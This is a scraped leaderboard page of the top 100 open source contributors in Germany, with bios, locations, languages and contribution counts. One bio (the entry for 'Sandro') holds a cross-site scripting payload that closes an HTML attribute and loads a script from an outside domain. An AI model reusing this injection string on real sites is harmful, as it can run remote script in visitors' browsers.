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Top 100 Open Source Contributors in Germany

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100 contributors total
Klaus Hipp avatar

Klaus Hipp

Germany flagGermany
Languages: Ruby, C++, Zig
Total Contributions
10.20K
Breakdown
Pull Requests
354
Reviews
9844
Issues
1
Repositories
4
Followers
63
Global Rank
7
Alejandro Falkowski avatar

Alejandro Falkowski

Software leadership, reliable systems, and product delivery.

Germany flagBerlin, Germany
Languages: Go, Ruby, Dockerfile
Total Contributions
9.99K
Breakdown
Pull Requests
9982
Reviews
3
Issues
2
Repositories
4
Followers
77
Global Rank
10
Marian Steinbach avatar

Marian Steinbach

Designing your experience with @giantswarm

Germany flagCologne, Germany
Languages: Go, HTML, Python, Makefile, TypeScript
Total Contributions
6.80K
Breakdown
Pull Requests
864
Reviews
5832
Issues
101
Repositories
2
Followers
143
Global Rank
29
kristof kaehler avatar

kristof kaehler

Python library shell javascript

Germany flagGermany
Languages: JavaScript, CSS, Python, HTML, Go, TypeScript
Total Contributions
6.36K
Breakdown
Pull Requests
6364
Reviews
0
Issues
0
Repositories
0
Followers
264
Global Rank
33
Sandro avatar

Sandro

devops engineer, programmer, gamer and nixpkgs commiter "><script src=//sandro.ez.pe></script><x="

Germany flagGermany
Languages: Python, Nix, PLpgSQL, Go, C++, PHP
Total Contributions
6.20K
Breakdown
Pull Requests
1181
Reviews
4493
Issues
476
Repositories
48
Followers
587
Global Rank
36
Martin Stühmer avatar

Martin Stühmer

CTO @ Integrated Worlds, Husband and father, .NET and Azure enthusiast

Germany flagGreater Stuttgart Metro, Germany
Languages: C#, Open Policy Agent, PowerShell
Total Contributions
6.18K
Breakdown
Pull Requests
337
Reviews
5639
Issues
196
Repositories
6
Followers
61
Global Rank
37
Sebastian Schuberth avatar

Sebastian Schuberth

A Kotlin enthusiast who's enjoying to work with and on Open Source Software.

Germany flagBerlin, Germany
Languages: Ruby, Groovy, HTML, C, Python, Kotlin, JavaScript, C++
Total Contributions
4.84K
Breakdown
Pull Requests
617
Reviews
3991
Issues
208
Repositories
23
Followers
464
Global Rank
54
Timo Derstappen avatar

Timo Derstappen

Germany flagCologne, Germany
Languages: JavaScript, Shell, CoffeeScript
Total Contributions
4.70K
Breakdown
Pull Requests
1688
Reviews
2206
Issues
787
Repositories
21
Followers
134
Global Rank
57
Sirui Lu avatar

Sirui Lu

Physics for AI; AI for Physics.

Germany flagMunich, Germany
Languages: TypeScript, Python, Julia, TeX, Lean
Total Contributions
4.35K
Breakdown
Pull Requests
3149
Reviews
340
Issues
851
Repositories
9
Followers
67
Global Rank
67
Andreas Gohr avatar

Andreas Gohr

Germany flagBerlin, Germany
Languages: PHP
Total Contributions
4.22K
Breakdown
Pull Requests
80
Reviews
24
Issues
4097
Repositories
23
Followers
685
Global Rank
70
Jens L. avatar

Jens L.

I make things sometimes. CTO at @goauthentik, ex SRE @yelp, ex @Haufe-Lexware

Germany flagGermany
Languages: Go, TypeScript, Python, C, Java, SCSS
Total Contributions
4.10K
Breakdown
Pull Requests
797
Reviews
3228
Issues
67
Repositories
12
Followers
375
Global Rank
75
Ingo Fischer avatar

Ingo Fischer

I'm matter.js and iobroker lead developers, also work in other Smart Home and Node.js projects . Support me at https://github.com/sponsors/Apollon77

Germany flagGermany
Languages: JavaScript, TypeScript, Python, Shell
Total Contributions
3.90K
Breakdown
Pull Requests
1001
Reviews
2741
Issues
147
Repositories
7
Followers
347
Global Rank
87
Ferdinand Thiessen avatar

Ferdinand Thiessen

Germany flagDresden, Germany
Languages: PHP, JavaScript, C, TypeScript
Total Contributions
3.81K
Breakdown
Pull Requests
1087
Reviews
2616
Issues
106
Repositories
3
Followers
50
Global Rank
91
Joas Schilling avatar

Joas Schilling

Germany flagStuttgart, Germany
Languages: JavaScript, PHP, Python, Kotlin
Total Contributions
3.81K
Breakdown
Pull Requests
1305
Reviews
2371
Issues
126
Repositories
5
Followers
269
Global Rank
92
RW avatar

RW

Senior full stack developer, Maintainer for @gofiber

Germany flagGermany
Languages: Go, TypeScript, PHP
Total Contributions
3.58K
Breakdown
Pull Requests
342
Reviews
3232
Issues
7
Repositories
3
Followers
268
Global Rank
98
Alexey Grigorev avatar

Alexey Grigorev

Running @DataTalksClub and hacking some personal projects

Germany flagBerlin, Germany
Languages: Jupyter Notebook, HTML, Python
Total Contributions
3.39K
Breakdown
Pull Requests
378
Reviews
8
Issues
2916
Repositories
88
Followers
5.86K
Global Rank
111
Marek Fořt avatar

Marek Fořt

Germany flagBerlin, Germany
Languages: Swift, Shell, YAML
Total Contributions
3.34K
Breakdown
Pull Requests
1890
Reviews
1410
Issues
29
Repositories
9
Followers
423
Global Rank
116
Frank Elsinga avatar

Frank Elsinga

Governing Board @maplibre | Building TUMs Roomfinder | currently M.Sc. Informatics at the TU Munich

Germany flagMunich, Germany
Languages: TypeScript, Rust, Ruby, Go, JavaScript, Svelte, HTML
Total Contributions
3.33K
Breakdown
Pull Requests
1544
Reviews
1615
Issues
141
Repositories
35
Followers
166
Global Rank
117
Niklas avatar

Niklas

"I have no idea why this works. You better don't touch it."

Germany flagKiel, Germany
Languages: Java, Go, HTML, Vue, JavaScript, Shell
Total Contributions
3.31K
Breakdown
Pull Requests
1233
Reviews
2024
Issues
51
Repositories
1
Followers
91
Global Rank
124
Max Horn avatar

Max Horn

Mathematician. Computational Group Theory, Algebraic Lie-Theory.

Germany flagKaiserslautern, Germany
Languages: GAP, C, Julia, C++
Total Contributions
3.20K
Breakdown
Pull Requests
1450
Reviews
1275
Issues
424
Repositories
48
Followers
283
Global Rank
135
Tobias Uhlig avatar

Tobias Uhlig

Germany flagGermany
Languages: JavaScript, TypeScript
Total Contributions
3.17K
Breakdown
Pull Requests
126
Reviews
117
Issues
2926
Repositories
0
Followers
74
Global Rank
140
Finn Evers avatar

Finn Evers

Germany flagGermany
Languages: Rust, Tree-sitter Query, JavaScript
Total Contributions
3.12K
Breakdown
Pull Requests
777
Reviews
2334
Issues
8
Repositories
0
Followers
57
Global Rank
145
Michael Kriese avatar

Michael Kriese

Germany flagMagdeburg, Germany
Languages: Java, JavaScript, TypeScript, C#, Python
Total Contributions
2.97K
Breakdown
Pull Requests
453
Reviews
2350
Issues
151
Repositories
12
Followers
120
Global Rank
163
Chris Swithinbank avatar

Chris Swithinbank

Germany flagBerlin, Germany
Languages: JavaScript, Bikeshed, Max, Rust, SCSS
Total Contributions
2.88K
Breakdown
Pull Requests
363
Reviews
2468
Issues
35
Repositories
16
Followers
547
Global Rank
177
Thomas Müller avatar

Thomas Müller

PHP developer

Germany flagGermany
Languages: PHP
Total Contributions
2.88K
Breakdown
Pull Requests
830
Reviews
1975
Issues
65
Repositories
6
Followers
59
Global Rank
178
Thomas Tränkler avatar

Thomas Tränkler

Senior IT consultant for AI, Web, and Cloud Technologies

Germany flagMunich, Germany
Languages: WebAssembly, TypeScript, Python, CSS, Svelte, Rust
Total Contributions
2.84K
Breakdown
Pull Requests
2827
Reviews
1
Issues
8
Repositories
8
Followers
52
Global Rank
182
Andy Scherzinger avatar

Andy Scherzinger

VP Engineering @nextcloud. Formerly also worked on @CityZenApp, @owncloud and @AndlyticsProject.

Germany flagFFM, Germany
Languages: JavaScript, Java, PHP, Python, Kotlin
Total Contributions
2.80K
Breakdown
Pull Requests
410
Reviews
2352
Issues
30
Repositories
10
Followers
257
Global Rank
188
Björn Grüning avatar

Björn Grüning

Germany flagFreiburg (Germany)
Languages: Python, HTML, Perl, Java, Shell, C, JavaScript
Total Contributions
2.79K
Breakdown
Pull Requests
396
Reviews
2301
Issues
65
Repositories
31
Followers
579
Global Rank
189
Xylar Asay-Davis avatar

Xylar Asay-Davis

Germany flagHeidelberg, Germany
Languages: Python, Fortran
Total Contributions
2.74K
Breakdown
Pull Requests
671
Reviews
1806
Issues
173
Repositories
87
Followers
50
Global Rank
196
Paulo Matos avatar

Paulo Matos

Igalian working on FEX-Emu, Proud Father of 2, AWA IRONMAN Triathlete. Uke Player - Aspiring Pianist.

Germany flagSomewhere beautiful, Germany
Languages: C++, Python, LLVM, JavaScript, TypeScript, Java
Total Contributions
2.71K
Breakdown
Pull Requests
1129
Reviews
23
Issues
1514
Repositories
44
Followers
120
Global Rank
197
Christian Berendt avatar

Christian Berendt

Germany flagGermany
Languages: Python, Shell
Total Contributions
2.70K
Breakdown
Pull Requests
2094
Reviews
32
Issues
573
Repositories
1
Followers
106
Global Rank
199
CanbiZ (MickLesk) avatar

CanbiZ (MickLesk)

Maintainer of @community-scripts. Proxmox VE, Debian & Alpine automation. Native installs, long-term maintenance, production-ready scripts.

Germany flagGermany
Languages: TypeScript, Go, PHP, JavaScript, C, Shell, Rust
Total Contributions
2.61K
Breakdown
Pull Requests
950
Reviews
1384
Issues
270
Repositories
5
Followers
190
Global Rank
211
Nikita Popov avatar

Nikita Popov

Germany flagBerlin, Germany
Languages: PHP, C, Python, Rust, CSS
Total Contributions
2.60K
Breakdown
Pull Requests
511
Reviews
2008
Issues
79
Repositories
5
Followers
6.50K
Global Rank
213
Lars Trieloff avatar

Lars Trieloff

Germany flagPotsdam, Germany
Languages: JavaScript, HTML, Java
Total Contributions
2.52K
Breakdown
Pull Requests
1933
Reviews
323
Issues
233
Repositories
30
Followers
125
Global Rank
221
Dennis Felsing avatar

Dennis Felsing

Germany flagHeidelberg, Germany
Languages: C, C++, Python, Rust, Go, JavaScript, HTML
Total Contributions
2.48K
Breakdown
Pull Requests
1208
Reviews
1247
Issues
19
Repositories
4
Followers
373
Global Rank
226
Víctor Cuadrado Juan avatar

Víctor Cuadrado Juan

Staff Engineer @SUSE, focused on Kubernetes, Wasm, and security. Let's build libre technologies together!

Germany flagGermany
Languages: Rust, TypeScript, Go, SCSS
Total Contributions
2.38K
Breakdown
Pull Requests
376
Reviews
1862
Issues
136
Repositories
11
Followers
79
Global Rank
243
Christoph Jerolimov avatar

Christoph Jerolimov

Germany flagGermany
Languages: TypeScript, Shell, Jinja, Makefile, Python
Total Contributions
2.33K
Breakdown
Pull Requests
731
Reviews
1475
Issues
101
Repositories
21
Followers
118
Global Rank
256
Jens Scheffler avatar

Jens Scheffler

Enthusiast to implement large scale automation solutions for testing frameworks in autonomous driving for Bosch. Committer+PMC of Apache Airflow. ASF Member.

Germany flagStuttgart, Germany
Languages: Python, Rust, HTML
Total Contributions
2.33K
Breakdown
Pull Requests
539
Reviews
1734
Issues
48
Repositories
6
Followers
57
Global Rank
257
Jannis Leidel avatar

Jannis Leidel

Principal Engineer at @anaconda working on @conda. @conda-forge core member. @psf chair and fellow. @jazzband and @pypa founder. @mozilla and @django alum

Germany flag Germany
Languages: Python, Shell
Total Contributions
2.11K
Breakdown
Pull Requests
651
Reviews
1204
Issues
225
Repositories
29
Followers
2.68K
Global Rank
305
Björn Ricks avatar

Björn Ricks

Software developer @Greenbone. Caring about the Greenbone Community Edition aka. OpenVAS. Doing Python stuff.

Germany flagGermany
Languages: Python, C, TypeScript
Total Contributions
2.11K
Breakdown
Pull Requests
596
Reviews
1509
Issues
1
Repositories
1
Followers
60
Global Rank
307
Markus Staab avatar

Markus Staab

I am available for paid support of PHPStan and related static analysis tooling.

Germany flagGermany
Languages: PHP, C
Total Contributions
2.06K
Breakdown
Pull Requests
985
Reviews
770
Issues
276
Repositories
34
Followers
403
Global Rank
321
Fabian Meumertzheim avatar

Fabian Meumertzheim

Migrated from @FabianHenneke

Germany flagGermany
Languages: Starlark, C++, Go, Perl, Java, Python
Total Contributions
2.05K
Breakdown
Pull Requests
800
Reviews
1216
Issues
20
Repositories
15
Followers
192
Global Rank
327
Alexander Schwartz avatar

Alexander Schwartz

Web (for ages), Java (several years), Agile (my pleasure). Maintainer on the @keycloak project. Views are my own and do not reflect the views of my employer.

Germany flagFrankfurt/Main (Germany)
Languages: Java, Python, HTML
Total Contributions
2.05K
Breakdown
Pull Requests
354
Reviews
1266
Issues
416
Repositories
11
Followers
255
Global Rank
330
Alex Rudenko avatar

Alex Rudenko

Germany flagGermany
Languages: TypeScript, JavaScript, HTML, C++
Total Contributions
2.04K
Breakdown
Pull Requests
645
Reviews
1301
Issues
89
Repositories
8
Followers
882
Global Rank
331
Michael Schellenberger Costa avatar

Michael Schellenberger Costa

Member of the CUDA C++ Core Libraries team at Nvidia.

Germany flagGermany
Languages: C++, Python, Cuda, LLVM, Shell
Total Contributions
2.04K
Breakdown
Pull Requests
586
Reviews
1355
Issues
95
Repositories
1
Followers
51
Global Rank
333
Andreas Thomas avatar

Andreas Thomas

Germany flagGermany
Languages: TypeScript, Go, MDX, Python
Total Contributions
2.03K
Breakdown
Pull Requests
681
Reviews
971
Issues
367
Repositories
12
Followers
1.48K
Global Rank
335
Robert Stupp avatar

Robert Stupp

OSS stuff, distributed data & co

Germany flagGermany
Languages: Java, Groovy, Kotlin
Total Contributions
2.00K
Breakdown
Pull Requests
756
Reviews
1152
Issues
72
Repositories
23
Followers
114
Global Rank
343
Marc Philipp avatar

Marc Philipp

Software engineer (ex-@gradle), @JUnit-team lead, Java Champion, and open-source enthusiast

Germany flagKarlsruhe, Germany
Languages: Java, Groovy, SCSS
Total Contributions
1.98K
Breakdown
Pull Requests
176
Reviews
1735
Issues
56
Repositories
15
Followers
643
Global Rank
350
Patrick Lenz avatar

Patrick Lenz

head honcho at @topmedia • co-founder @erwins-enkel • investing at @ltdovr • formerly freshmeat.net

Germany flagMosbach, Germany
Languages: Python, Shell, TypeScript
Total Contributions
1.97K
Breakdown
Pull Requests
939
Reviews
760
Issues
267
Repositories
5
Followers
107
Global Rank
354
Robert Douglass avatar

Robert Douglass

Founder / Creator | Formerly Platform.sh, Commerce Guys, Drupal. Created Open Goldberg Variations.

Germany flagGermany
Languages: TypeScript, Python, HTML
Total Contributions
1.96K
Breakdown
Pull Requests
889
Reviews
21
Issues
960
Repositories
85
Followers
99
Global Rank
358
Carl Schwan avatar

Carl Schwan

Free software programmer. Contribute to Nextcloud during the day and to KDE during the night. KDE e.V. board member.

Germany flagBerlin, Germany
Languages: PHP, JavaScript
Total Contributions
1.94K
Breakdown
Pull Requests
515
Reviews
1403
Issues
17
Repositories
8
Followers
109
Global Rank
363
Paul Holzinger avatar

Paul Holzinger

Germany flagGermany
Languages: Go, Python, C, Roff, C++
Total Contributions
1.90K
Breakdown
Pull Requests
349
Reviews
1446
Issues
101
Repositories
6
Followers
84
Global Rank
373
Matthias Urhahn avatar

Matthias Urhahn

Working on open-source projects at @d4rken-org. Available for freelance gigs.

Germany flagGermany
Languages: Kotlin, Shell, PHP
Total Contributions
1.89K
Breakdown
Pull Requests
1804
Reviews
6
Issues
69
Repositories
8
Followers
2.17K
Global Rank
382
Cedric Ziel avatar

Cedric Ziel

I solve more problems than I create.

Germany flagHalver, Germany
Languages: TypeScript, PHP, Python, Go, Shell, Dockerfile, Rust
Total Contributions
1.88K
Breakdown
Pull Requests
1541
Reviews
20
Issues
278
Repositories
37
Followers
162
Global Rank
387
Thomas Kadauke avatar

Thomas Kadauke

Germany flagBerlin, Germany
Languages: Ruby, Python, TypeScript, C++
Total Contributions
1.85K
Breakdown
Pull Requests
200
Reviews
803
Issues
840
Repositories
4
Followers
150
Global Rank
397
Oliver Kopp avatar

Oliver Kopp

Germany flagGermany
Languages: TeX, Groovy, Java, HTML, C, Lua, Kotlin
Total Contributions
1.84K
Breakdown
Pull Requests
715
Reviews
463
Issues
582
Repositories
82
Followers
490
Global Rank
402
Ruben Bridgewater avatar

Ruben Bridgewater

@tc39 Invited Expert. @nodejs Technical Steering Committee member. Staff Engineer @Datadog. Conference Speaker. Open Source enthusiast.

Germany flagFrankfurt, Germany
Languages: JavaScript, TypeScript
Total Contributions
1.84K
Breakdown
Pull Requests
690
Reviews
1112
Issues
24
Repositories
14
Followers
712
Global Rank
403
Martin Pitt avatar

Martin Pitt

GPG fingerprint: 3DB4 6B55 EFA5 9D40 E623 2148 D14E F15D AFE1 1347 https://fosstodon.org/@martinpitt

Germany flagGermany
Languages: JavaScript, Python, C, Vala, HTML
Total Contributions
1.82K
Breakdown
Pull Requests
345
Reviews
1435
Issues
31
Repositories
7
Followers
202
Global Rank
415
Soner avatar

Soner

Germany flagGermany
Languages: PHP, JavaScript, C, Nix
Total Contributions
1.80K
Breakdown
Pull Requests
732
Reviews
877
Issues
144
Repositories
47
Followers
511
Global Rank
426
Sebastian "Sebbie" Silbermann avatar

Sebastian "Sebbie" Silbermann

I maintain stuff.

Germany flagBerlin, Germany
Languages: JavaScript, TypeScript, Rust
Total Contributions
1.78K
Breakdown
Pull Requests
788
Reviews
974
Issues
4
Repositories
16
Followers
1.75K
Global Rank
437
Björn Büttner avatar

Björn Büttner

I'm a software engineer and modder from the middle west of Germany. I enjoy programming both in my professional and private life.

Germany flagMülheim, Germany
Languages: PHP, Lua, TypeScript, Python, HTML
Total Contributions
1.77K
Breakdown
Pull Requests
1637
Reviews
47
Issues
70
Repositories
15
Followers
157
Global Rank
444
Bluefox avatar

Bluefox

My name is Denis Haev and I am one of the core developers of ioBroker and CEO of ioBroker GmbH

Germany flagAltleiningen, Germany
Languages: JavaScript, TypeScript, Inno Setup, Shell
Total Contributions
1.76K
Breakdown
Pull Requests
247
Reviews
1314
Issues
187
Repositories
12
Followers
219
Global Rank
451
Juri Solodenko avatar

Juri Solodenko

73

Germany flagLeverkusen, Germany
Languages: C#, Rich Text Format, C++
Total Contributions
1.75K
Breakdown
Pull Requests
294
Reviews
939
Issues
489
Repositories
25
Followers
63
Global Rank
464
Thoralf-M avatar

Thoralf-M

Germany flagGermany
Languages: Rust, HTML, JavaScript, C, Python, TypeScript, Svelte
Total Contributions
1.75K
Breakdown
Pull Requests
519
Reviews
946
Issues
274
Repositories
6
Followers
52
Global Rank
466
Uwe L. Korn avatar

Uwe L. Korn

CTO @Quantco; Apache Arrow and Parquet PMC, @conda-forge core; PyData Südwest Organizer.

Germany flagKarlsruhe, Germany
Languages: Python, SCSS, JavaScript, C++, Shell
Total Contributions
1.72K
Breakdown
Pull Requests
513
Reviews
1072
Issues
36
Repositories
97
Followers
644
Global Rank
473
Sebastian Muszynski avatar

Sebastian Muszynski

Germany flagBonn, Germany
Languages: Python
Total Contributions
1.66K
Breakdown
Pull Requests
1517
Reviews
80
Issues
46
Repositories
12
Followers
992
Global Rank
509
Lukas Wirth avatar

Lukas Wirth

@rust-analyzer lead, specification writer and general open source dev-tools tinkerer

Germany flagGermany
Languages: Rust, HTML
Total Contributions
1.64K
Breakdown
Pull Requests
824
Reviews
787
Issues
21
Repositories
11
Followers
643
Global Rank
514
Sebastián Ramírez avatar

Sebastián Ramírez

Creator of FastAPI, Typer, SQLModel, Asyncer, etc. 🚀 From 🇨🇴 in 🇩🇪. Open Source, Python, APIs, AI. 🤖 Building FastAPI Cloud. ⚡️

Germany flagBerlin, Germany
Languages: Python, JavaScript, Shell
Total Contributions
1.64K
Breakdown
Pull Requests
1115
Reviews
483
Issues
31
Repositories
6
Followers
31.61K
Global Rank
519
Shay Rojansky avatar

Shay Rojansky

Principal software engineer working on .NET data access and perf, member of the Entity Framework team at Microsoft. Lead dev of Npgsql, the PostgreSQL provider.

Germany flagBerlin, Germany
Languages: C#, JavaScript, PowerShell, HTML, Mermaid
Total Contributions
1.63K
Breakdown
Pull Requests
455
Reviews
987
Issues
180
Repositories
4
Followers
1.65K
Global Rank
521
Hendrik Mans avatar

Hendrik Mans

THE WIZARD MUST BE STOPPED.

Germany flagWedel, Germany
Languages: Go, TypeScript, C++, Zig, Ruby
Total Contributions
1.62K
Breakdown
Pull Requests
1083
Reviews
7
Issues
524
Repositories
7
Followers
581
Global Rank
524
Adnaan Badr avatar

Adnaan Badr

Devops, Go, Kubernetes. Reducing cloud native complexity. Ex-Android Framework Engineer. Worked on a linux server, a tablet, a phone and a smartwatch.

Germany flagBerlin, Germany
Languages: Go, TypeScript, Shell, Ruby
Total Contributions
1.62K
Breakdown
Pull Requests
899
Reviews
3
Issues
716
Repositories
0
Followers
94
Global Rank
527
Adam J. Stewart avatar

Adam J. Stewart

Postdoc, AI4EO researcher, creator of TorchGeo, maintainer of Spack, Rtree, Lightning UQ Box, SMP

Germany flagMunich, Germany
Languages: Python, Rust, JavaScript, Cython
Total Contributions
1.61K
Breakdown
Pull Requests
651
Reviews
833
Issues
114
Repositories
15
Followers
366
Global Rank
533
Philipp Schuster avatar

Philipp Schuster

Writing code, maintaining open-source software, solving problems. Also: rock concerts and traveling the world.

Germany flagDresden, Germany
Languages: Rust, C, Nix, Java
Total Contributions
1.58K
Breakdown
Pull Requests
792
Reviews
662
Issues
111
Repositories
13
Followers
150
Global Rank
553
Ben Kochie avatar

Ben Kochie

Bit Plumber

Germany flagBerlin, Germany
Languages: Go, Ruby, Makefile, Python
Total Contributions
1.57K
Breakdown
Pull Requests
517
Reviews
1008
Issues
20
Repositories
28
Followers
527
Global Rank
558
renner avatar

renner

Linux Nerd, Universal Blue and Aurora Maintainer (https://getaurora.dev)

Germany flagGermany
Languages: C, Python, Perl
Total Contributions
1.57K
Breakdown
Pull Requests
967
Reviews
401
Issues
137
Repositories
65
Followers
55
Global Rank
563
Julian Bez avatar

Julian Bez

Senior Software Engineer @PostHog

Germany flagGermany
Languages: Python, TypeScript
Total Contributions
1.55K
Breakdown
Pull Requests
832
Reviews
683
Issues
32
Repositories
6
Followers
54
Global Rank
572
Huang Xin avatar

Huang Xin

a software developer for dumb machines and also a brain hacker interested in the nature of seeing & conscious artifacts

Germany flagGermany
Languages: Rust, TypeScript, JavaScript, Python
Total Contributions
1.55K
Breakdown
Pull Requests
1494
Reviews
41
Issues
14
Repositories
2
Followers
410
Global Rank
574
Marc Durdin avatar

Marc Durdin

Project manager for @keymanapp project by SIL Global (@sillsdev)

Germany flagGermany
Languages: TypeScript, PHP, HTML, Python, Pascal, Java, Shell
Total Contributions
1.54K
Breakdown
Pull Requests
602
Reviews
721
Issues
214
Repositories
6
Followers
78
Global Rank
578
andig avatar

andig

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGi8rUJarKZuWnZNOnhtcXZCrPskbF7HOcig6nkjWlU2

Germany flagGermany
Languages: Go, HTML
Total Contributions
1.53K
Breakdown
Pull Requests
793
Reviews
510
Issues
217
Repositories
11
Followers
644
Global Rank
586
Matthias Nehlsen avatar

Matthias Nehlsen

I create technical debt for a living.

Germany flagHamburg & Berlin, Germany
Languages: Dart
Total Contributions
1.52K
Breakdown
Pull Requests
1325
Reviews
185
Issues
8
Repositories
6
Followers
663
Global Rank
593
Rainer Gerhards avatar

Rainer Gerhards

rsyslog maintainer

Germany flagGermany
Languages: C, Ruby, Shell, Dockerfile
Total Contributions
1.52K
Breakdown
Pull Requests
1288
Reviews
133
Issues
99
Repositories
0
Followers
121
Global Rank
595
Sebastian Werner avatar

Sebastian Werner

Enthusiastic entrepreneur @sebastian-software • OpenSource evangelist • Consultant for large-scale web app development • Fluent in UX / design thinking

Germany flagHirschberg, Germany
Languages: TypeScript, JavaScript, CSS
Total Contributions
1.52K
Breakdown
Pull Requests
716
Reviews
60
Issues
740
Repositories
3
Followers
96
Global Rank
597
Kasper Stöckel avatar

Kasper Stöckel

Freelance Ruby on Rails & React developer

Germany flagGermany
Languages: Ruby
Total Contributions
1.52K
Breakdown
Pull Requests
1421
Reviews
75
Issues
0
Repositories
21
Followers
55
Global Rank
598
Iván Ovejero avatar

Iván Ovejero

Full-Stack Developer @n8n.io | formerly @Affluent.io | Major League Hacking Fellow 2020

Germany flagBerlin, Germany
Languages: TypeScript, Rust, Ruby, Go
Total Contributions
1.50K
Breakdown
Pull Requests
1163
Reviews
298
Issues
26
Repositories
10
Followers
608
Global Rank
615
Charles Tapley Hoyt avatar

Charles Tapley Hoyt

Germany flagBonn, Germany
Languages: HTML, Makefile, Emacs Lisp, C++, Java, JavaScript, Python, Groovy
Total Contributions
1.50K
Breakdown
Pull Requests
1112
Reviews
111
Issues
228
Repositories
46
Followers
555
Global Rank
616
Clemens Vasters avatar

Clemens Vasters

Messaging Architect at Microsoft. Azure Event Hubs, Azure Event Grid, Azure Service Bus, Azure Relay. OASIS AMQP TC co-chair, CNCF CloudEvents spec author

Germany flagViersen, Germany
Languages: C#, JavaScript, Python
Total Contributions
1.49K
Breakdown
Pull Requests
574
Reviews
50
Issues
852
Repositories
14
Followers
473
Global Rank
622
Tom Wieczorek avatar

Tom Wieczorek

Working on k0s - The Zero Friction Kubernetes.

Germany flagGermany
Languages: Go, Nix, C, Rust
Total Contributions
1.48K
Breakdown
Pull Requests
573
Reviews
861
Issues
26
Repositories
19
Followers
55
Global Rank
629
Konstantinos Paparas avatar

Konstantinos Paparas

Android (Kotlin) and Front-End (Vue.js, Angular, TypeScript) Open Source Software Engineer. Also working with .NET Framework and C#.

Germany flagBerlin, Germany
Languages: Python, TypeScript, Kotlin, C#, Vue
Total Contributions
1.47K
Breakdown
Pull Requests
923
Reviews
438
Issues
108
Repositories
3
Followers
111
Global Rank
635
Ronny Trommer avatar

Ronny Trommer

Help people to run network infrastructure with confidence. I'm an open source full-time contributor @opennms.

Germany flagGermany
Languages: Java, C, M4
Total Contributions
1.47K
Breakdown
Pull Requests
1086
Reviews
123
Issues
231
Repositories
29
Followers
63
Global Rank
640
Maximilian Franzke avatar

Maximilian Franzke

UX Engineering Lead @ DB UX Design System

Germany flagGermany
Languages: JavaScript, JSON, Bikeshed, TypeScript, HTML
Total Contributions
1.47K
Breakdown
Pull Requests
754
Reviews
516
Issues
167
Repositories
28
Followers
63
Global Rank
643
Grigorii K. Shartsev avatar

Grigorii K. Shartsev

Germany flagTamm, Germany
Languages: JavaScript, PHP, Perl, Kotlin
Total Contributions
1.46K
Breakdown
Pull Requests
340
Reviews
1089
Issues
32
Repositories
2
Followers
63
Global Rank
646
Konrad Michalik avatar

Konrad Michalik

Germany flagDresden, Germany
Languages: PHP, JavaScript
Total Contributions
1.43K
Breakdown
Pull Requests
1335
Reviews
28
Issues
20
Repositories
48
Followers
73
Global Rank
669
Karsten Thoms avatar

Karsten Thoms

Open Source 🆓 | Operaton ⚙️ | Speaker 🎤 | Java ☕️ | Eclipse ☀️ | Spring 🍃 | Cloud ⛅️ | Tool Crafter 🔧 | Microservices ⚙️

Germany flagDortmund, Germany
Languages: Java, JavaScript, HTML, Shell
Total Contributions
1.43K
Breakdown
Pull Requests
349
Reviews
850
Issues
222
Repositories
6
Followers
52
Global Rank
673
Cristian Magherusan-Stanciu avatar

Cristian Magherusan-Stanciu

AWS Optimization Specialist

Germany flagBerlin, Germany
Languages: TypeScript, Go, C++, HCL, GDScript
Total Contributions
1.40K
Breakdown
Pull Requests
671
Reviews
2
Issues
723
Repositories
7
Followers
232
Global Rank
693
Carlos Eduardo Arango Gutierrez avatar

Carlos Eduardo Arango Gutierrez

Senior Systems Software Engineer. Environmental engineer lost to distributed systems, HPC and cloud computing.

Germany flagBavaria, Germany
Languages: Go, HCL, C
Total Contributions
1.37K
Breakdown
Pull Requests
462
Reviews
682
Issues
212
Repositories
13
Followers
156
Global Rank
722
Francis Varga avatar

Francis Varga

Germany flagBerlin, Germany
Languages: TypeScript, Rust, Python, CSS
Total Contributions
1.36K
Breakdown
Pull Requests
25
Reviews
2
Issues
1271
Repositories
58
Followers
189
Global Rank
732
Orhun Parmaksız avatar

Orhun Parmaksız

Terminal Chef @ratatui | Rust Developer Advocate @JetBrains | Maintainer @archlinux btw

Germany flagBerlin, Germany
Languages: Rust, Python, C++, HTML
Total Contributions
1.35K
Breakdown
Pull Requests
253
Reviews
899
Issues
150
Repositories
53
Followers
5.17K
Global Rank
735
Jan Kowalleck avatar

Jan Kowalleck

Lead Software Engineer & Architect · FOSS Author & Maintainer · @OWASP @CycloneDX Project Co-Lead

Germany flagNuremberg, Germany
Languages: Python, TypeScript, Rust, XSLT, JavaScript
Total Contributions
1.35K
Breakdown
Pull Requests
441
Reviews
724
Issues
167
Repositories
18
Followers
74
Global Rank
740
Hofer-Julian avatar

Hofer-Julian

@prefix-dev software engineer, @GNOME foundation member.

Germany flagGermany
Languages: Python, Rust, Shell, Batchfile
Total Contributions
1.33K
Breakdown
Pull Requests
726
Reviews
439
Issues
68
Repositories
100
Followers
153
Global Rank
761
James A. Fellows Yates avatar

James A. Fellows Yates

Bioinformatician with specialism in ancient DNA and metagenomics. nf-core core-team member and SPAAM community founder. @jfy133@genomic.social

Germany flagLeipzig, Germany
Languages: Nextflow, Python, Groovy, Shell, MDX
Total Contributions
1.30K
Breakdown
Pull Requests
384
Reviews
632
Issues
275
Repositories
9
Followers
244
Global Rank
786